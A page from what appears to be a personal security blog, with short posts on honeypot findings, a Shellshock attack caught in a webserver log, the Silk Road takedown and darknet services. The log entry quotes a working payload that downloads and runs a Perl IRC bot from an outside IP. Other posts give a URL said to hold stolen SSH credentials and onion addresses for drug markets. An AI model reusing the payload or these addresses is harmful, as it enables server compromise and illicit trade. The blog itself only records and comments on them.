~7000 ssh logins

January 5th, 2016

recently I looked in some honeypot results – ending in finding of the URL

http://185.62.190.222/r1

(Warning: without the /r1 you are forced into a fake Adobe update).

Looking around further I found (besides some scanner-tools, code..) two files stage1 and stage2 under the subdir /r4 ,  containing about 7000 username:password:ip-address combinations. And yes, I found some of my honeypot addresses in there 🙂 Though I am pretty sure that most of the addresses will be honeypots I will try to send out mails to the appropriate abuse-contacts; maybe some of them are for real.

Posted in Honeypots | No Comments »

recently in the webserver log ..

August 17th, 2015

While strolling through the webserver-logs, I found this little asshole..:

78.25.80.226 - - [16/Aug/2015:21:35:01 +0200] "GET /suspendedpage.cgi
HTTP/1.1" 404 494 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
http://189.11.9.243/fix.pl;curl -O http://189.11.9.243/fix.pl;fetch
http://189.11.9.243/fix.pl;lwp-download http://189.11.9.243/fix.pl;perl
fix.pl;rm -rf fix.pl;rm -rf fix.pl*\""

fix.pl installs an irc-connection and waits for commands like
portscan, tcpflood or a reverse shell ..

Looks like there are still servers out there which are vulnerable to shellshock ..

Posted in Bots, exploits | No Comments »

So you want to be a darknet drug lord ..

April 16th, 2015

..is the title of an article a user named “th3j35t3r” published on pastebin.

Here is the Link to the interesting article

(local copy: druglord )

Posted in Allgemein | No Comments »

Starwars in the office

January 5th, 2015

Now here is a funny movie what happens in an office when nerds get attacked..

https://t.co/JIBMlNs4ei

Posted in Allgemein | No Comments »

scanner at the airport

December 24th, 2014

A posting in german about my experiences with bodyscanners at the cologne airport can be found at

http://verzaell.uss.koeln/?p=67

 

Merry Christmas everyone!

Posted in Allgemein | No Comments »

…and there it is again :-)

November 9th, 2014

Did not take too long this time.. Silk Road 3.0 is on its way..

 

  2. — SilkRoad3.0 —
  3. http://reloadedudjtjvxr.onion
  5. —SilkRoad3.0 Forums —
  6. http://b6bubdh43n6l6p72.onion

 http://pastebin.com/rJTmzwvM

 

Posted in Allgemein | No Comments »

Hidden services closed

November 6th, 2014

A lot of the hidden services I mentioned in previous posts have been closed
by Law Enforcement yesterday and today. The famous “silk road 2.0” just like
other marketplaces:

  • Silk Road
  • Silk Road Forum
  • Cloud9
  • BlueSky
  • TheHub
  • Hydra
  • Onionshop
  • Alpaca
  • Pandora

Under Codename “Onymous” several Law Enforcement Agencies (FBI/Europol) the operator of
Silk Road 2.0 Blake Benthall (Defcon) has been arrested in San Francisco yesterday.

 

Looks like the FBI had an undercover agent in SR 2.0 right from the start

The complete story:

https://pdf.yt/d/RpyX9_xmapTkhmkb

 

Posted in Allgemein | No Comments »

Facebook now in TOR

October 31st, 2014

If you ever wanted to use Facebook via TOR you you are no longer forced to use an exit node from TOR. Facebook is now present as a hidden service in TOR at the

URL: https://facebookcorewwwi.onion (only reachable with a TOR-enabled browser of course)
and http://facebookcorewwwi.onion/

They even use a SSL-Cert for the server..
Here is what Roger Dingledine (from the TOR-project) says about the finding of the new URL:

https://lists.torproject.org/pipermail/tor-talk/2014-October/035412.html

 

Posted in Allgemein | No Comments »

Deep Web

October 19th, 2014

..and while we are at it; A kill from a contract killer can be ordered for 6500$ in US/Canada and

7000$ in Europe.  I wonder if additional costs like travelling is included 🙂 Probably a big fake..

Posted in Allgemein | No Comments »

DDoS – cheaper than I thought..

September 29th, 2014

Recently I fell about an advertisement for a DDoS – Attack Service in the tor-network – it was way cheaper than I thought.

25 minutes of 150 Gbps costs only 15$; a silver paket for 1 hour is available for 20$ and a whole week with a hour/day downtime can be bought in a gold-paket for only 60$.  These darknets are really dark these days…

Posted in Bots | No Comments »

« Older Entries
Newer Entries »